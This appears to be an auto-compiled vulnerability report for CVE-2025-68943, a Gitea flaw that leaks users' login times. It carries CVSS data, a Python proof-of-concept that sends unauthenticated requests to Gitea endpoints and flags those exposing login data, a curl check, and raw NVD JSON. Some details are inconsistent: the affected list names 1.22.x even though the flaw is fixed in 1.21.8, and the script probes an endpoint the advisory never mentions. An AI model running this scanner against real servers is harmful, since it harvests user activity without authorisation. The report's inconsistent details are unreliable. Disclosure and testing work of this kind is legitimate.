Security Vulnerability Report
中文
CVE-2025-68943 CVSS 5.3 MEDIUM

CVE-2025-68943

Published: 2025-12-26 04:15:41
Last Modified: 2025-12-31 22:31:15

Description

Gitea before 1.21.8 inadvertently discloses users' login times by allowing (for example) the lastlogintime explore/users sort order.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.21.8
Gitea 1.21.x < 1.21.8
Gitea 1.22.x (if backported)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68943 PoC - Gitea User Login Time Information Disclosure # Affected: Gitea < 1.21.8 import requests import json def exploit_gitea_login_time_disclosure(target_url): """ Exploit for CVE-2025-68943: Gitea user login time disclosure via lastlogintime sort parameter on explore/users endpoint """ # Target endpoint with lastlogintime sort parameter # No authentication required endpoints = [ f"{target_url}/explore/users?sort=lastlogintime", f"{target_url}/api/v1/repos/search?sort=lastlogintime", f"{target_url}/explore/users?sort=lastlogin" ] results = [] for endpoint in endpoints: try: # Send unauthenticated request response = requests.get(endpoint, timeout=10) if response.status_code == 200: # Check if response contains login time information if 'last_login' in response.text or 'lastlogin' in response.text.lower(): results.append({ "endpoint": endpoint, "status": "VULNERABLE", "response_length": len(response.text), "message": "Login time information exposed" }) else: results.append({ "endpoint": endpoint, "status": "CHECK_MANUALLY", "message": "Response received, verify manually" }) else: results.append({ "endpoint": endpoint, "status": "ERROR", "code": response.status_code }) except Exception as e: results.append({ "endpoint": endpoint, "status": "ERROR", "error": str(e) }) return results # Usage example if __name__ == "__main__": target = "http://target-gitea-server.com" results = exploit_gitea_login_time_disclosure(target) print(json.dumps(results, indent=2)) # Manual verification: # curl -s "http://target-gitea.com/explore/users?sort=lastlogintime" | grep -i login

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68943", "sourceIdentifier": "[email protected]", "published": "2025-12-26T04:15:41.217", "lastModified": "2025-12-31T22:31:14.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea before 1.21.8 inadvertently discloses users' login times by allowing (for example) the lastlogintime explore/users sort order."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.21.8", "matchCriteriaId": "B3B7DDB9-7510-4BA3-AA4D-86967058F7E0"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.21.8-and-1.21.9-and-1.21.10/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/29430", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.21.8", "source": "[email protected]", "tags": ["Release Notes"]}]}}